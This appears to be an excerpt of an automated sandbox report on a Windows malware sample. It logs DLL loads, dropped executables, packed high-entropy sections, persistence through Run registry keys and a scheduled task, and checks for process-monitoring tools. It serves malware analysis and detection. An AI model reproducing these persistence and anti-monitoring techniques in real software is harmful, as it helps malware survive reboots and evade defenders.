Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1937408 > 1048576

Source: file.exe

Static PE information: Raw size of lfxcpyub is bigger than: 0x100000 < 0x1a7200

Source:

Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000027.00000002.3085467799.000001EF2EA3F000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 6.2.axplong.exe.9d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lfxcpyub:EW;hhzixuje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Unpacked PE file: 7.2.63371c25d6.exe.6c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Unpacked PE file: 24.2.63371c25d6.exe.6c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Unpacked PE file: 29.2.63371c25d6.exe.6c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mmgyxokd:EW;ujjtsjxw:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_008E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_008E42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1c04c6 should be: 0x1c3ddb
Source: 63371c25d6.exe.6.dr	Static PE information: real checksum: 0x1c04c6 should be: 0x1c3ddb
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1d90e2 should be: 0x1daef4
Source: file.exe	Static PE information: real checksum: 0x1d90e2 should be: 0x1daef4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: lfxcpyub
Source: file.exe	Static PE information: section name: hhzixuje
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: lfxcpyub
Source: axplong.exe.0.dr	Static PE information: section name: hhzixuje
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: mmgyxokd
Source: random[1].exe.6.dr	Static PE information: section name: ujjtsjxw
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 63371c25d6.exe.6.dr	Static PE information: section name:
Source: 63371c25d6.exe.6.dr	Static PE information: section name: .rsrc
Source: 63371c25d6.exe.6.dr	Static PE information: section name: .idata
Source: 63371c25d6.exe.6.dr	Static PE information: section name:
Source: 63371c25d6.exe.6.dr	Static PE information: section name: mmgyxokd
Source: 63371c25d6.exe.6.dr	Static PE information: section name: ujjtsjxw
Source: 63371c25d6.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_009ED84C push ecx; ret		6_2_009ED85F
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00900A76 push ecx; ret		8_2_00900A89

Source: file.exe	Static PE information: section name: entropy: 7.98098366974593
Source: file.exe	Static PE information: section name: lfxcpyub entropy: 7.953705767893421
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.98098366974593
Source: axplong.exe.0.dr	Static PE information: section name: lfxcpyub entropy: 7.953705767893421
Source: random[1].exe.6.dr	Static PE information: section name: mmgyxokd entropy: 7.954300536136823
Source: 63371c25d6.exe.6.dr	Static PE information: section name: mmgyxokd entropy: 7.954300536136823

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b29e59e54d.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 63371c25d6.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 63371c25d6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 63371c25d6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b29e59e54d.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b29e59e54d.exe	Jump to behavior

